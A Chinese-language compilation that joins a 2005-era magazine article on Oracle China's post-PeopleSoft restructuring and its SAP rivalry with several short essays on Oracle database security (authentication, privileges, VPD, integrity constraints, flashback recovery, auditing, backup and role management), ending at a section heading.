这是过去1年以来,Oracle在中国公开场合露面的最高级别官员,此次发布会也是Oracle在中国就系列收购行动首次作出说明。事实上,在此之前不到半个月的时间里,Oracle与中国媒体已经有过连续两次不断升级的沟通。4月13日,京城不少媒体都接到Oracle的邀请,由Oracle中国北方区董事总经理李翰璋向媒体通报其2005财年第三季度在亚太地区的业绩;4月22日,Oracle全球客户计划亚太高级总监Tony Banham来到中国,希望打开Oracle网格计算的市场局面。现在看来,这不过是Mark Gibbs在中国向SAP宣战的路演。
在对PeopleSoft的世纪大收购尘埃落定,中国区组织架构调整完毕的时候,Oracle希望人们的目光更多聚焦在它与竞争对手在应用软件和技术产品领域的贴身肉搏战上。
而事实上,Oracle过去一年来让人眼花缭乱的变化并不是简单地为了今天向SAP宣战,Oracle业务板块面临重重挑战的内在事实以及全球软件行业的整体气候变迁才是其背后的变化逻辑。年营业额几乎是SAP两倍的Oracle在应用软件上对SAP的挑战只不过是虚晃一枪,这只是Oracle战略布局的一个小棋子。作为全球第二大的软件厂商,Oracle不会改变它将微软掀翻马下的“野心”,应用软件在Oracle体系中的现时突出将随着对微软斗争路线的变化而改变。
史无前例地重视“应用软件”
“2004年9月份的重组是有史以来Oracle亚太地区软件业务上最重要的事件。”Mark Gibbs告诉记者。2004年9月,Oracle宣布调整其亚太地区销售和咨询业务模式,把业务重点放在3个核心领域—应用产品、技术产品和行业,即所谓“三驾马车”,并配备专业队伍。而Oracle中国公司把原有的技术部门和应用部门分别支持7大行业的业务模式,改为应用产品、行业、技术产品和区域4大块。原有的制造、消费品、电信、金融、政府、高科技和交通等7个行业除了电信、金融、政府3大行业(这3大行业占Oracle利润总额的30%以上)以外,其他几个行业包括汽车制造、能源、交通运输等则归属应用产品部门。
在这之前,Oracle的应用软件业务是在和专售应用产品的软件公司进行竞争,对于以底层数据库技术产品起家的Oracle来说,难以掌握应用软件上的先发优势,在Mark Gibbs看来,重组是业务模式调整的必然选择,这一次重组也“对应用软件赋予了史无前例的重视”。
而在李翰璋对记者的解释中,这一次重组更是Oracle的一个战略选择,一种自我定位的改变。“Oracle的目标是做全球大而全的信息公司”,而不再是技术产品的供应商。
“信息公司”的概念根据Oracle老板拉里·埃里森“大的客户只会找大的IT厂商”的思路提出,一向个性张扬的埃里森希望从底层数据库到应用层面一统天下,铺全企业级应用软件产品。“这种思路的成形源于,一方面客户对这种供货商不必有被收购的担心,另一方面,客户不必因购买多种不同厂商的产品而增加IT成本,”李翰璋告诉记者。
已在Oracle工作14年的Mark Gibbs对Oracle的这一变化轨迹有着清晰认识。“当我和企业的CIO们谈论集成的信息架构时,他们两眼放光,因为他们都承认,如今企业IT环境的复杂性和局限性。有了Oracle,他们就可以只选择一家软件公司既为他们提供数据管理和集成技术,又为他们提供完整的应用套件。”
而在上海国通供应链管理有限公司市场总监战秀强看来,“Oracle现在的业务模式更多是出于市场销售的策略,以技术产品带动应用产品的销售。”数据库是企业应用软件正常运行的基础,在3驾马车不能并驾齐驱的时候,领先的数据库业务就成了其他两者的发动机。事实上,在中国市场上,早在2000年,Oracle就已经采取这种打包销售的方式,只是以后会更加明显。
“对于Oracle和微软这样的软件巨头来说,竞争不在技术和市场层面,业务模式之争才是最为关键的。Oracle希望借助商业模式的调整寻求突围。”独立软件分析师李际告诉记者,“但Oracle要做这种大而全的软件公司,其实存在很大的风险。一个公司的市场生存要求它的内部业务板块要相对均衡发展,Oracle是否能够以它的发展速度来抵消这种不均衡带来的风险性,还有待观察。”
事实上,Oracle在这3个领域都将面对强大对手,IBM、BEA以及SAP和微软等都不是等闲之辈。
没有绝对领导人的Oracle中国
与此同时,Oracle中国公司开始为其全球业务模式的变化让路,中国区由此接二连三地上演了人员入局出局的公司大戏。
2004年6月,张书恒这个人称在Oracle做的职位最高的“大陆仔”从Oracle辞掉中国区副总经理的职务,并以职业经理人罕有的姿态旗帜鲜明地公开批评其上司—Oracle大中华区总裁陆纯初,称其缺乏对中国市场的了解,并在辞职前绕过陆纯初,向Oracle亚太区总裁直陈陆治下的Oracle中国区域市场的诸多问题。
随后,陆纯初开始发动反击,公开宣称张书恒是由于不合格而被Oracle“炒鱿鱼”。正当人们为此嘘唏不已的时候,3个月后的2004年9月,陆纯初也颇为悲壮地离开Oracle,其直接原因是Oracle从此取消大中华区总裁的位置,将原先由其负责的市场范围“肢解”为华北、华南和中国香港、华东和华西几个区域,并受Oracle亚太区的直接管理。
同时,Oracle在中国的运营模式整体变阵,以矩阵式管理进行市场运作,与3驾马车的业务模式进行结合。“现在是以行业为矩阵纵向,而技术产品和应用产品横向插入行业中”,Oracle一位经理告诉记者,“这也是国际上公认的比较好的业务管理模式。”
以前要对销售业绩负责的区域老总们,现在不再背负销售任务,“角色转为对客户、合作伙伴、社区的维护和商业机会的寻觅”,与之前张书恒等人前线将军的身份和权力有着天壤之别。事实上,如今Oracle中国区不像以前,已经没有绝对领导人,每个地区的董事总经理都可以在自己的区域代表Oracle。
而在Mark Gibbs看来,这种运营机制符合Oracle全球范围的统一风格,中国区必须服从Oracle全球范围的商业利益。“重组之后,我们有了一支专注于应用软件产品的专业销售队伍。”矩阵式的管理模式也让Oracle的技术产品和应用产品能够捆绑在一起,打入各个行业领域。事实上,各个区域总经理其实还分别负责不同的行业,比如李翰璋就同时是Oracle中国区通信行业总经理,负责Oracle在中国电信市场打单前后的工作,“这样一来,以行业为先导,技术产品和应用产品跟上来就比较容易了。”Oracle经理告诉记者。
“当然,这并不代表Oracle以前在中国的运营模式就不对,只是现在更适合这种模式。”在这位Oracle经理看来,Oracle全球范围的系列收购以及在中国的变化都是基于“Oracle要做大而全的信息公司”的定位变化这一背景。
Oracle在中国区的变阵更像是一场“削藩”。“张书恒等本地代表是真正的藩主,而陆纯初不过是Oracle做掉这些藩主的工具。”业内某位不愿透露姓名的知名人士告诉记者,Oracle要收权,推行变阵,张书恒等人才是真正的障碍,所以用了大半年的时间煞费苦心导演了这一场戏,当陆纯初的历史使命已经完成的时候,离开就是一个必然选择。
但跳出Oracle公司层面,在不少业内人士看来,这表示跨国公司全球化运动时代的到来,这一点这位经理也表示认同。“以前中国市场有不少不规范的操作方式,对于讲究商业规则的跨国公司来说,这只能是暂时的。”Oracle经理告诉记者,“Oracle中国今后更多的是按照Oracle全球的做法来运营。”
渠道:静悄悄的黎明
尽管纷纭繁杂,但Oracle的变化已由内向外悄然开始。
黄庆是上海一家IT咨询公司老板,做Oracle代理已有近两年时间,主要做Oracle企业应用软件的实施。2005年3月,Oracle亚太区来人突然造访,这让黄庆有些吃惊,“这在过去两年是没有的事。”在与黄庆对话的时候,造访者很认真地记录了黄庆针对Oracle渠道政策的意见,并表示Oracle将在中国改变一些渠道政策,重新扶持一批重要的合作伙伴。
在过去的几年中,Oracle在中国市场上的渠道商被人们嗤笑为Oracle的“提款机”—不管产品是否落实在最终客户身上,代理商们要先将所有款项打到Oracle账上,而且用户名不可更改,这样一来,如果初始谈判的客户变卦,代理商只能为Oracle买单。正因为如此,造成曾经不少Oracle金牌合作伙伴由于现金流压力要么死掉,要么倒向竞争对手。
事实上,Oracle在中国执行的是其全球通行的政策,只是前几年在中国遭遇全球规则之外的潜规则问题,由此衍生的台下交易在之前Oracle技术产品和应用产品的售前过程中屡见不鲜。
而在售后,Oracle“与民争利”的现象也很多见。“有一家叫OSC的公司挂靠在Oracle下面,我们在做实施的时候就经常碰上他们。”黄庆告诉记者。很明显,类似OSC这样的公司与Oracle有着千丝万缕的利益关系,“不明就里的客户往往更愿意相信OSC,我们有的时候很难做。”
这些问题Oracle迟早要面对,在其计划中,2005年5月底完成对PeopleSoft的整合后,处理好与合作伙伴共生共存的关系将成为Oracle在中国的一大主题。
在李翰璋看来,与合作伙伴和客户加强关系是与Oracle中国区组织架构的调整同步进行的。“在2005年,我们将继续推动‘金色中国’计划,除了在应用软件和技术产品领域加大力度外,加强业务伙伴关系和市场承诺也是我们的重要工作。”
而在《互联网周刊》记者此次对Oracle合作伙伴和客户的调查中,尽管Oracle中国公司内部调整不断,但这种变化似乎还没有这么快传递到合作伙伴和客户身上。
在李际看来,“中国区的调整更多是为了配合Oracle全球的调整步伐,中国市场的合作伙伴和客户感觉不到变化很正常。”
内部正在经历阵痛的Oracle中国,在其最核心的业务—渠道、销售层面,颇给人一种“这里的黎明静悄悄”的感觉,但谁也不能轻易否认,变化正在悄悄波及。
豪门争锋
没有人敢肯定Oracle最后一定能胜出。
在2005年的媒体答谢会上,SAP大中华区总裁西曼要求在场媒体记者举杯“为SAP中国干杯”,“由于PeopleSoft被Oracle购并,SAP减少了一个重要的竞争对手,这将直接推动SAP走进快速增长的轨道。”西曼的得意与Mark Gibbs宣布挑战SAP时的兴奋相得益彰,而这只是孔翰宁和拉里·埃里森各自心情在中国前台的表现。
与此同时,分析师Dominy表示,现在Oracle拉开3条战线,可能产生的结果之一就是IBM与SAP进行更密切的合作。IBM多年以来一直是Oracle除微软之外的一大竞争对手,IBM告诉第三方应用软件厂商说,它不会像甲骨文希望的那样与它们在应用软件领域进行竞争。
“今后只有像Oracle这样大而全的软件公司才有可能活得更好!”这样的话李翰璋和Tony Banham以及Mark Gibbs都向记者表述过,在Oracle看来,现在SAP也在“跟着Oracle学”,意图进入应用服务器领域,摆脱单一产品线可能遭遇的瓶颈。“但SAP的发展速度很难跟上Oracle。”—从收购PeopleSoft开始,Oracle就一直在以这样自励的语气鼓励自己。
而在中国市场上谁将领跑?在专注汽车领域的软件提供商QAD中国区总经理缪青看来,Oracle要想如愿以偿,关键在两个方面,“一是人员和组织架构的调整,这一系列调整需要基于全球战略和中国市场的结合;二是整合PeopleSoft和J.D.E的速度。”
对于Oracle中国区组织架构的调整,缪青认为,“更像是为了架构调整而调整”,缺乏有规律的变化节奏,这样的调整只能让自己的市场大伤元气,并给竞争对手创造虎口夺食的机会。
而关于对PeopleSoft和J.D.E的整合,Oracle经理告诉记者,“中国区这边现在进行得很顺利,不久两边就可以一起办公了。”对于双方产品方面的整合,Mark Gibbs介绍说,这已列入Oracle赶超SAP制定的4大战略之一,“我们将遵守承诺推进‘合成工程’。”其中合成工程是指Oracle下一代应用软件、集成和架构组成的解决方案,准备在2008年推出。“下一版本的Oracle电子商务套件、PeopleSoft Enterprise 9和J.D.Edward 8.12中将包括合成工程的许多模块。”
而在整合Peoplesoft之后,甲骨文大中华区企业应用软件总经理王春文告诉记者,Oracle正在展开一系列全球并购行动,目标集中在如同Retek(零售、分销ERP软件提供商)一样按行业区分的解决方案提供商,从而在3到5年的时间里,丰富甲骨文在应用套件方面的技术能力与客户群。
Oracle数据库安全性探讨 第6篇
1 数据库系统安全概述
数据库系统由数据库和数据库管理系统两部分组成,数据库是数据的集合体,数据库管理系统(DataBase Mnagement System,DBMS)是一个专门负责数据库管理和维护的计算机软件系统。用户对数据库数据的任何操作都是在DBMS管理下进行的。因此,数据库系统的安全性很大程度上依赖于数据库管理系统。为了保证数据库数据的安全可靠性和正确有效性,DBMS必须提供统一的数据保护功能。
Oracle DBMS通过下列安全策略实现数据保护功能:
1)存取控制;2)数据完整性控制;3)数据库恢复;4)审计。
2 Oracle数据库安全策略
2.1 存取控制
存取控制是DBMS最重要的安全策略之一,目的是防止非法用户进入系统以及合法用户对系统资源的非法使用。Oracle数据库系统引入用户(user)、模式(schema)、权限(privilege)的机制来实现数据库的存取控制。用户是拥有一定权限能够访问数据库的人员。模式是数据库对象的集合。当建立一个数据库用户时,Oracle DBMS对该用户建立一个相应的模式,模式名与用户名相同。一旦用户连接数据库,该用户就可存取相应模式中的全部对象。权限是Oracle数据库预先定义好的执行某些操作的能力。
2.1.1 用户鉴别
为了防止非授权的用户使用数据库资源,Oracle提供两种用户鉴别方法:
1)操作系统认证:Oracle认为操作系统用户是可靠的,即既然能登陆到操作系统那么Oracle数据库也能登陆。
实现方法:配置sqlnet.ora文件中的参数:SQLNET.AUTHENTICATION_SERVICES=(NTS),spfile(pfile)文件参数:REMOTE_LO-GIN_PASSWORDFILE=('NONE')。
2)口令文件认证:Oracle认为操作系统用户是不可信任的,如果要访问数据库,必须进行再次认证。在口令文件认证方式下,Oracle DBMS使用口令文件来对具有sysdba或sysoper权限的用户进行身份认证。
实现方法:配置sqlnet.ora文件中的参数:SQLNET.AUTHENTICATION_SERVICES=(NONE),spfile(pfile)文件参数:REMOTE_LO-GIN_PASSWORDFILE=('EXCLUSIVE')或('SHARED')。
2.1.2 权限(privilege)
Oracle系统提供系统级(system)和对象级(object)两类权限,系统权限是指在系统级活动的能力,如Create session,Create user等等。对象权限就是指在表、视图、过程等对象上活动的能力,如Select,Update,Alter等。Oracle DBA可以通过角色(Role)对这两类权限进行管理。
Oracle DBMS通过权限实现数据库安全保护的过程如下:
1)DBA或对象的创建者通过SQL的GRANT和REVOKE语句,把授予(回收)权限的定义告知DBMS;
2)DBMS把授予(回收)权限的结果存入(取出)数据字典;
3)当用户提出操作请求时,DBMS根据数据字典中保留的权限定义进行检查,以决定是否可以执行该操作请求。
2.1.3 Oracle精细访问控制
在一些特定的应用系统中,有些安全需求是具体或精细的,不是仅仅直接靠授予系统权限或对象权限就能解决的,因为在这些访问控制中可能包含了某些逻辑判断,需要用程序的方式实现某些安全策略,做到对访问权限的精细控制。为此,Oracle8i以后的版本引入了VPD(virtual private database)的概念,它能对每个用户所能访问的数据进行行级控制。
VPD的工作方法是:通过制定相应的安全策略,向用户提供表的局部视图。安全策略实际上是一个会自动附着在用户提交给数据库的SQL语句(这里是指包括select、insert、update、delete等语句)后面的where子句。
2.2 数据完整性控制
数据完整性(Data Integrity)是指一个数据集合完全、正确和一致的程度。如果数据库中存储有不正确的数据值,则该数据库称为已丧失数据完整性。Oracle数据完整性由完整性约束机制和触发器来实现。
2.2.1 完整性约束
在执行SQL或PL/SQL期间使用。Oracle利用完整性约束机制防止无效的数据进入数据库的基表,假如任何DML执行结果破坏完整性约束,该语句被回滚并返回一上个错误。Oracle数据库提供了5种数据完整性约束
1)NOT NULL约束:保证列中数据不为空;
2)UNIQUE码约束:保证列中数据是唯一的;
3)PRIMARY KEY约束:保证列中数据不为空,且是唯一的;
4)FOREIGN KEY约束:要求列中的数据必须在主表的主键列中出现;
5)CHECK约束:检查表中数据是否满足指定的检查规则。
2.2.2 触发器
Oracle允许定义过程,当对相关的表作insert、update或delete语句时,这些过程被隐式地执行。这些过程称为数据库触发器。触发器类似于存储的过程,可包含SQL语句和PL/SQL语句,可调用其它的存储过程。过程与触发器差别在于调用方法:过程由用户或应用显式执行;而触发器是为一激发语句(insert、update、delete)发出进由Oracle隐式地触发。一个数据库应用可隐式地触发存储在数据库中多个触发器。
2.3 数据库恢复
数据库恢复是指DBMS将数据库从一个错误的状态恢复到某一个已知的、正确的、一致性的状态的过程。尽管Oracle数据库系统采用了各种安全保护措施来防止数据库的数据被破坏,但是计算机系统中的硬件故障、软件错误、用户的操作失误及恶意破坏仍是不可避免的。这会使数据库中的数据部分或全部丢失。因此,Oracle DBMS必须具有恢复数据库的功能。
数据库恢复的基本单位是事务。数据库的恢复机制包括一个恢复子系统和一套特定的数据结构,基本原理是重复存储数据,即:数据冗余(Data Redundancy)。
2.3.1 利用日志文件恢复数据库
日志文件是数据冗余的一种,用来在数据文件之外记录事务对数据库的修改操作的文件。利用日志文件进行数据库恢复时,恢复程序搜索日志文件,找到最后一个检查点记录,以便确定哪些事务需要Redo,哪些事务需要Undo。
日志文件在数据库恢复中起着非常重要的作用,可以用来进行事务故障恢复和系统故障恢复,并能与数据库副本相结合进行介质故障恢复。
2.3.2 利用闪回功能恢复数据库
从Oracle 9i开始提供了基于回滚段的闪回查询(Flashback Query)功能,可用于恢复错误的DML操作。在Oracle 10g中对闪回查询做了较大改进,不再局限于闪回查询,还可用于闪回数据库。
在Oracle 10g中,Oracle DBMS允许通过SQL语句Flashback Database,让数据库前滚到当前的前一个时间点或者SCN,闪回数据库可以迅速将数据库回到误操作或人为错误的前一个时间点。
例:执行Flashback Database命令格式。
SQL>flashback database to time to_timestamp(xxx);
SQL>flashback database to scn xxx
2.4 审计
审计就是对用户在数据库中的操作情况进行监视、记录,以便分析、跟踪的一种数据库功能。启用审计之后,如果用户执行被审计的操作,Oracle就会产生审计记录,并将其存放到sys方案的AUD$审计表中或操作系统的审计跟踪中。
启动审计功能:设置参数AUDIT_SYS_OPERATIONS=TRUE,运行cataudit.sql创建审计视图,运行audit语句进行审计。如:audit table by hr;表示用户hr的所有表操作都将被审计。
3 结语
基于以上安全策略,Oracle数据库系统可以防止非法用户访问数据库,限制合法用户操纵数据库的权限,保证数据库中并发事务的可串行化,可以使数据库在故障发生后,不会丢失任何数据,并能使数据库迅速恢复到故障发生前的那一时间点上,最大限度的保证数据的安全和整个系统的连续运行。
参考文献
[1]路川,胡欣杰,何楚林.Oracle10g DBA宝典[M]:电子工业出版社.2007.
[2]萨师煊,王珊.数据库系统概论北京[M]:高等教育出版社.2001.
[3]盖国强,叶粱.Oracle数据库性能优化[M]:人民邮电出版杜.2004.
[4]黄志国,韩慧莲.基于安全审计的数据库安全[J].科技情报开发与经济.2005,(12):2.
基于Oracle的数据库安全策略 第7篇
数据库管理系统的重要工作就是备份数据, Oracle的数据备份有两种:逻辑备份和物理备份。
第一、物理备份。物理备份就是排除数据的逻辑内容差别, 将组成文件进行全盘拷贝备份, 因为要用到拷贝文件命令, 所以也叫做系统文件备份。热备份和冷备份是物理备份的两种不同方式和实施条件的备份方式, 因为要综合考虑数据保障度的问题, 所以经常配合使用两种形式。
(1) 冷备份。冷备份也就是后备或脱机备份, 就是说正常关闭Oracle后, 完整备份所有的初始化数据、控制文件、日志文件以及用户数据等, 方便以后对某时期文件进行恢复。冷备份的优点是费用较低、安全性高、快速简单。
(2) 热备份。热备份也就是在线备份或联机备份, 就是指正常运行数据库时, 准确备份数据文件到Oracle新建的进程明细里, 数据库能够准确的回滚到过去某时刻的数据状态。热备份具有秒级恢复的特点, 并且备份过程不影响数据库正常工作。
第二、逻辑备份。逻辑备份指的是通过SQL准确读出数据库的某个记录集, 并且另存在转储文件中。这个过程无关于物理位置, 备份数据库经常用逻辑备份。逻辑备份会用到Oracle的导入导出工具。
(1) 导出。导出指的是将数据读出并转储到另一文件既可以将整个数据库导出也可以是指定的数据表或对象并且可以选择相关数据的导出与否。
(2) 导入。导入就是指将导出的数据信息恢复到数据库中同样可以是整个数据库也可以是制定数据等。若果是整个转出文件导入时就会创建所有数据文件对象。
二、安全恢复数据
利用上述备份方式当系统发生黑客、病毒等外来入侵或是自身故障等都能在一定程度上进行数据恢复保证数据库完整、快速的恢复正常。数据恢复的处理方式是根据发生故障的起因和影响程度进行选择的。
第一、失败实例恢复。失败实例恢复指的是当Oracle实例失败后可以自动恢复正常。失败实例出现后重新启动数据库, Oracle就会将全部联机文件、数据文件和控制文件进行检查, 当发现报错, 就将未提交事务回滚, 保障所有文件实现同时恢复。
第二、失败磁盘恢复。失败磁盘的发生原因是错误的磁盘读取或损坏存储介质, 导致驻留在磁盘上的数据文件不能被读出, 这时就要根据该文件是控制文件还是数据文件, 来选择利用系统备份文件还是归档日志来进行恢复[2]。
第三、错误操作恢复。错误操作指的是用户误操作数据库的问题, 这时需要用联机备份下的转储文件恢复, 将先前用户的误操作撤销, 如果不能解决, 则需要更新版本的表进行恢复。
三、安全策略
Oracle系统可以有效管理用户, 避免数据库被非法访问, 对系统或磁盘资源进行有效分配控制使用, 对用户行为进行审计跟踪等, 所有策略都需要开发人员和管理人员共同完成。
主要的安全策略有: (1) 创建用户账号, 实现一对一的账号和密码, 避免未授权用户访问; (2) 安全管理授权机制, 也就是将系统权限和对象权限授予对应的用户操作许可; (3) 管理用户角色, 也就是建立类型不同的用户组来与授权机制一一对应, 它就要实时性强控制灵活等特点, 促进了Oracle的安全运行; (4) 审计控制管理等。
四、小结
当前网络技术和数据库技术都进行着快速的发展, 集中式的数据库日益被开放式分布系统代替, 同时也带来新的安全问题。本文系统论述Oracle的安全性就是基于这一点, 安全策略实际上就是先防范后措施, 并且要实施有力、方法技术兼顾才称得上是上策。
摘要:具有安全的数据库是成功组建一个图书馆管理信息系统的关键, 本文系统介绍了Oracle数据库在系统维护、用户管理和数据管理等方面, 进一步论述了建设运行数据库的过程中安全性的重要地位, 并且相应介绍了应对安全问题的策略。
关键词:Oracle,数据库,安全策略
参考文献
[1]陈从锦, 杨昱.Oracle数据库的安全防护概述[J].中山大学学报论丛, 2003 (3) .
Oracle数据库的安全策略初探 第8篇
关键词:数据库,查询,数据分析
Oracle是关系型数据库管理系统, 它功能强大、性能卓越, 在当今大型数据库管理系统中占有重要地位。在正常情况下, Oracle数据库会保证数据的安全、稳定, 为用户提供正确的数据, 但由于计算机系统的故障 (硬件故障、软件故障、网络故障和系统故障) 影响数据库系统的操作, 影响数据库中数据的正确性, 甚至破坏数据库, 使数据库中全部或部分数据丢失, 整个系统都将处于瘫痪状态。因此, 如何保证Oracle数据库的安全就成为整个MIS系统安全的重要组成部分。
Oracle数据库的安全策略包括数据库的备份和恢复、用户角色管理。
一、数据备份和恢复
1. 数据库备份所使用的结构
Oracle数据库使用几种结构来保护数据:数据库后备、日志、回滚段和控制文件。
(1) 数据库后备是由构成Oracle数据库的物理文件的操作系统后备所组成。当介质故障时进行数据库恢复, 利用后备文件恢复毁坏的数据文件或控制文件。
(2) 每一个Oracle数据库实例都提供日志, 记录数据库中所作的全部修改。每一个运行的Oracle数据库实例相应地有一个在线日志, 它与Oracle后台进程LGWR一起工作, 立即记录该实例所作的全部修改。归档 (离线) 日志是可选择的, 一个Oracle数据库实例一旦在线日志填满后, 可形成在线日志归档文件。归档的在线日志文件被唯一标识并合并成归档日志。
(3) 回滚段用于存储正在进行的事务 (为未提交的事务) 所修改值的老值, 该信息在数据库恢复过程中用于撤消任何非提交的修改。
(4) 控制文件, 一般用于存储数据库的物理结构的状态。控制文件中某些状态信息在实例恢复和介质恢复期间用于引导Oracle。
2. 在线日志
一个Oracle数据库的每一实例有一个相关联的在线日志。一个在线日志由多个在线日志文件组成。在线日志文件 (online redo log file) 填入日志项 (redo entry) , 日志项记录的数据用于重构对数据库所作的全部修改。
3. 归档日志
Oracle要将填满的在线日志文件组归档时, 则要建立归档日志 (archived redo log) 。其对数据库备份和恢复有下列用处:
(1) 数据库后备以及在线和归档日志文件, 在操作系统和磁盘故障中可保证全部提交的事物可被恢复。
(2) 在数据库打开和正常系统使用下, 如果归档日志是永久保存, 在线后备可以进行和使用。
数据库可运行在两种不同方式下:NOARCHIVELOG方式或ARCHIVELOG方式。数据库在NOARCHIVELOG方式下使用时, 不能进行在线日志的归档。如果数据库在ARCHIVELOG方式下运行, 可实施在线日志的归档。
4. Oracle的备份特性
Oracle备份包括逻辑备份和物理备份。
(1) 逻辑备份
数据库的逻辑备份包含读一个数据库记录集和将记录集写入文件。
1) 输出 (Export) 输出可以是整个数据库、指定用户或指定表。
2) 输入 (Import) 输入将输出建立的二进制转储文件读入并执行其命令。
(2) 物理备份
物理备份包含拷贝构成数据库的文件而不管其逻辑内容。
Oracle支持两种不同类型的物理文件备份:脱机备份 (offline backup) 和联机备份 (online backup) 。
1) 脱机备份
脱机备份用在当数据库已正常关闭, 数据库处于"offline"时, 要备份下列文件:
所有数据文件, 所有控制文件, 所有联机日志, init.ora (可选的)
2) 联机备份
联机备份可用来备份任何运作在ARCHIVELOG方式下的数据库。在这种方式下, 联机日志被归档, 在数据库内部建立一个所有作业的完整记录。
联机备份过程具备强有力的功能。第一, 提供了完全的时间点 (point-in-time) 恢复。第二, 在文件系统备份时允许数据库保持打开状态。
备份方式特性比较
方式类型恢复特性
Export逻辑可以将任何数据库对象恢复到输出时的状态
Offline Backups物理可把数据库恢复到关闭的状态:若数据库运行在ARCHIVELOG方式, 就可恢复到任何时间点的状态。
Online Backups物理可把数据库恢复到任何时间点
二、恢复策略
1. 实例失败
从实例失败中恢复是自动进行的。实例失败一般是由服务器失败引起的, 当数据库实例失败后, 重新启动服务器, 启动数据库, Oracle检查数据文件和联机日志文件, 并把所有文件同步到同一个时间点上。
2. 磁盘失败
如果丢失的是控制文件, 只要关闭数据库, 从保留有控制文件的地方拷贝一份即可。
如果丢失的是数据文件, 可用前一天晚上的联机备份进行恢复, 步骤如下:
(1) 从备份中把丢失的文件存在原来位置。
(2) 加载数据库
(3) 恢复数据库
(4) 打开数据库
3. 错误删除或修改对象
在这种情况下, 一般希望能追溯返回到错误发生前的那个时间点上。这叫做时间点恢复。完成恢复的步骤如下:
(1) 从当前数据库输出 (Export) , 输入 (Import) 到备用数据库, 使备用数据库与当前数据库保持一致。
(2) 向前滚动备用数据库到错误发生前的那个时间点。
(3) 从备用数据库输出受错误影响的逻辑对象。
(4) 使用上一步产生的输出文件输入那些受影响的对象到当前数据库。
三、Oracle数据库的角色管理
Oracle数据库系统在利用角色管理数据库安全性方面采取的基本措施有:
通过验证用户名称和口令, 防止非Oracle用户注册到Oracle数据库, 对数据库进行非法存取操作。
授予用户一定的权限, 限制用户操纵数据库的权力。
授予用户对数据库实体的存取执行权限, 阻止用户访问非授权数据。
提供数据库实体存取审计机制, 使数据库管理员可以监视数据库中数据的存取情况和系统资源的使用情况。
采用视图机制, 限制存取基表的行和列集合。
MIS系统实例中Oracle数据库的安全策略
由于Oracle数据库备份有三种方式, 每种方式具有不同的恢复特性, 因此应集成数据库与文件系统备份, 集成逻辑备份和物理备份。
基于以上的安全策略, 可以防止非法用户访问数据库, 限制合法用户操纵数据库的权限;可以使数据库在故障发生后, 不会丢失任何数据, 并能使数据库迅速恢复到故障发生前的那一时间点上, 最大限度的保证数据的安全和整个系统的连续运行。
参考文献
[1]林慧.《oracle入门与实践》.中国铁道出版社
[2]朱良根.《数据库安全技术与研究》.计算机应用研究
Oracle数据库安全管理的探讨 第9篇
关键词:Oracle,数据库,安全机制
1 引言
Oracle数据库系统在正常情况下能够保证数据的安全和系统的稳定, 但由于计算机系统的故障 (如硬件、软件、网络通信、操作系统等故障和遭遇病毒及外来攻击等) 影响数据库系统的操作, 影响数据库数据的正确性, 甚至破坏数据库, 使数据库中全部或部分数据丢失, 造成整个系统处于瘫痪状态。因此, 加强Oracle数据库的安全管理十分重要。
Oracle数据库系统的安全包括系统安全和数据安全两类, 系统安全包括的安全机制可以在整个系统范围内控制对数据库的访问和使用, 如有效的用户名和口令, 是否授权于用户连接数据库、用户能执行的系统操作等。数据安全包括的安全机制可以在对象 (如表、视图、索引等) 这一级上控制对数据库的访问和使用, 例如, 哪些用户可以访问某特定的对象及对这个对象允许执行的操作 (如允许查询、插入、删除操作) 等。下面就Oracle数据库的安全问题进行分析和探讨, 确保整个管理信息系统更安全、更可靠。
2 用户管理
在Oracle数据库中, 系统通过安全措施防止未授权用户的数据库访问, 防止合法用户对未授权的具体对象的访问, 控制磁盘及系统资源 (如CPU时间) 的分配和使用, 审计跟踪用户行为等, 以保证数据库的安全运行。
2.1 用戸创建及口令管理
为了保证数据库的安全性, 防止非授权用户对数据库进行操作, Oracle数据库系统安全管理的首要任务就是为每一个用户创建相应的数据库账号, 任何用户对数据库的任何操作都必须强制通过系统安全设置检查后方能实施。在创建用户时, 必须使用安全参数对用户进行限制。数据库用户的安全参数包括:用户名和口令、用户默认表空间、临时表空间、用户存储空间限制以及用户资源文件限制等。数据库管理员可以通过创建、修改、删除和监视用户来控制对数据库的存取。
在建立每个用户时都会为其分配一个口令, 当用户与数据库建立连接时必须经过系统认证, 验证用户的合法性, 以防止对数据库的非授权使用。系统以加密方式将口令存储在数据字典中。可以使用环境文件来管理口令的终止、重建使用和复杂性。例如, 可以限制一个口令的寿命、锁定口令过旧的帐户。也可以强制一个口令至少有一定程度的复杂性并锁定一个多次注册的帐户。
2.2 权限管理
Oracle数据库安全管理机制主要是通过权限进行设置, 通过权限设置防止非授权的数据库存取、非授权的对具体对象的存取, 只有通过权限的认证才可以存取数据库中的数据。
在Oracle数据库中, 权限根据系统管理方式的不同, 将权限分为系统权限 (s y s t em p r i v i l eg e) 与对象权限 (o b j ect privilege) 两类。系统权限是指在系统控制数据库的存取和使用的机制, 系统是否授权可以连接到数据库上, 在数据库中可以进行哪些系统操作等权限。系统权限可授予用户和角色。一般来说, 系统权限需要授予数据库管理人员以及应用开发人员。数据库管理员可以将权限授予某一用户, 并允许用户将该系统权限授予其他用户或角色, 同时可以从被授权的用户和角色中回收系统权限。对象权限是指对象级控制数据库的存取和使用的机制, 包括用户可存取的对象以及在该对象上允许进行的操作, 例如数据查询、数据更新、数据插入等。它是用户之间相互存取表或视图的权限。系统权限与对象权限的主要区别是范围不同, 一个系统权限是执行某一类或者在某一用户中执行某种操作的权限, 应用于一个对象类型的所有操作, 可授权创建、修改和删改各种结构。而一个对象权限只是授予对某一特定数据库对象的操作权限。
2.3 角色管理
使用角色管理权限是确保数据库系统安全的重要策略之一。
角色是一组相关权限的组合, 即将多个不同的权限集合在一起就形成了角色。可以使用角色为用户授权, 也可以从用户中回收角色。使用角色可以简化权限的管理, 用一条语句就能够授予或回收许多权限, 也可以把角色授予用户, 而不必对用户逐一权限。对于一个具有多用户、多对象的应用环境, 根据不同的应用模块将权限进行角色分配, 同时, 可以实现权限的动态管理, 比如随着应用的变化可以改变角色的权限, 通过角色权限的增加或减少, 可以改变多个用户的权限。因此, 应用角色管理权限可以大大简化权限的管理, 减轻了系统管理的开销, 减少了系统的安全漏洞。
在创建角色时, 可以为角色设置安全性。角色的安全性通过为角色设置口令字进行保护, 只有提供正确的口令才允许修改或设置角色;通过设置角色的生效或失效实现系统权限的可用或不可用, 弥补了系统的权限没有失效或生效的属性;而修改角色的失效与生效, 可以通过设置角色或修改用户口令来完成。基于角色的权限管理极大地加强了系统安全控制的灵活性, 进一步增强了系统的安全性能。
3 备份与恢复
